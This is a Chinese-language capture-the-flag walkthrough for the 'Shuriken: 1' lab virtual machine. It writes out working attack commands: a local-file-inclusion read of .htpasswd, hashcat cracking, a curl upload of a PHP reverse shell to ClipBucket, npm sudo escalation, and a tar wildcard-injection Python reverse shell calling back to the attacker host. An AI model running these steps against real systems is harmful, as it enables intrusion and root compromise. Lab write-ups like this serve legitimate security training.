SHURIKEN: 1
一、基本信息
名称:Shuriken: 1
发布日期:2020.11.13
作者:TheCyb3rW0lf
系列:Shuriken
二、靶机简介
Flags:
server-management:/~/user.txt
root:/root/root.txt难度:中等
三、文件信息
文件名:Shuriken-1.ova
文件大小:2.7GB
下载地址:
MD5: 2DB75B09A1DD917FFE1DF20B4450D032
SHA1: 602F049006AFE12632A1B6FEB6E4860008C96D32
四、镜像信息
格式:Virtual Machine (Virtualbox - OVA)
操作系统:Linux(ubuntu)
五、网络信息
DHCP服务:可用
IP地址:自动分配
六、环境配置
1.将靶机shuriken和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:
七、攻略步骤
信息探测
1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:
1 ifconfig,查看kali分配到的ip
1 nmap -sP 192.168.56.0/24,扫描靶机ip2.再进行端口扫描,发现只开放了80和8080端口,访问主页,查看源代码sha384字串无法解码:
1 nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.124 | tee nmapscan,端口扫描3.最后再进行一下目录扫描,发现/sercet目录比较可疑:
1 gobuster dir -u http://192.168.56.124 -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描
ClipBucket页登录
1.访问/secret目录,发现一张secret.png图片,对图片进行信息隐藏分析后没有额外结果:
2.于是根据图片提示去主页查看js代码,发现两个指向:
3.修改kali的/etc/hosts文件,访问http://broadcast.shuriken.local,发现需要用户名和密码:
1 vim /etc/hosts4.再次修改/etc/hosts,通过http://shuriken.local/index.php?referer=请求可以得到apache默认配置文件/etc/apache2/sites-enabled/000-default.conf,该文件指明用户文件位置为/etc/apach2/.htpasswd:
1 vim /etc/hosts5.继续读取/etc/apach2/.htpasswd,可以得到用户名和密码的字串,利用hashcat结合rockyou字典破解密码:
1
2 echo '$apr1$ntOz2ERF$Sd6FT8YVTValWjL7bJv0P0' > hash.txt
hashcat -m 1600 -a 0 hash.txt rockyou.txt
ClipBucket漏洞利用
1.再次修改/etc/hosts,回到http://broadcast.shuriken.local,登录后发现是ClipBucket的页面,可以在exploit-db上找到相关的漏洞利用(https://www.exploit-db.com/exploits/44250):
2.构造payload后,对kali自带的webshell,/usr/share/webshells/php/php-reverse-shell.php进行修改,在kali开启对应端口监听,访问http://broadcast.shuriken.local/actions/CB_BEATS_UPLOAD_DIR/1630302014b9d72e.php后成功获得shell,再用python构建交互式shell:
1 vim /usr/share/webshells/php/php-reverse-shell.php
1
2 nc -lvnp 9001
curl --basic --user "developers:9972761drmfsls" -F "file=@php-reverse-shell.php" -F "plupload=1" -F "name=anyname.php" http://broadcast.shuriken.local/actions/beats_uploader.php
初步提权
1.利用sudo -l命令查看权限,发现可以执行npm,那么创建一个用于提权的json文件,利用npm提权:
1 sudo -l
1
2
3 cd /tmp
echo '{"scripts":{"dev":"/bin/bash"}}' > package.json
sudo -u server-management npm run dev2.成功提权到server-management后,可以在用户目录下发现第一个flag,user.txt:
1
2
3 cd ~
ls -la
cat user.txt
root提权
1.查看crontab,我们发现有一个backupsrv.sh每隔两分钟执行一次,我们可以查看下程序内容:
1 cat /etc/crontab
1 cat /var/opt/backupsrv.sh2.查看程序后,我们知道它打开/home/server-management/Documents目录并使用通配符(*) tar 参数创建它的备份,这种结构容易受到通配符注入的影响:
1
2
3
4 cd Documents
echo "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.56.102\",9002));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" > shell.sh,先写一个shell
echo "" > "--checkpoint-action=exec=sh shell.sh",为shell创建触发
echo "" > --checkpoint=13.在kali开启对应端口监听,等待两分钟后程序定时执行得到shell为root权限:
1 nc -lvnp 90024.获得root权限后,在/root目录下能够发现第二个flag,root.txt:
1
2
3 cd /root
ls -la
cat root.txt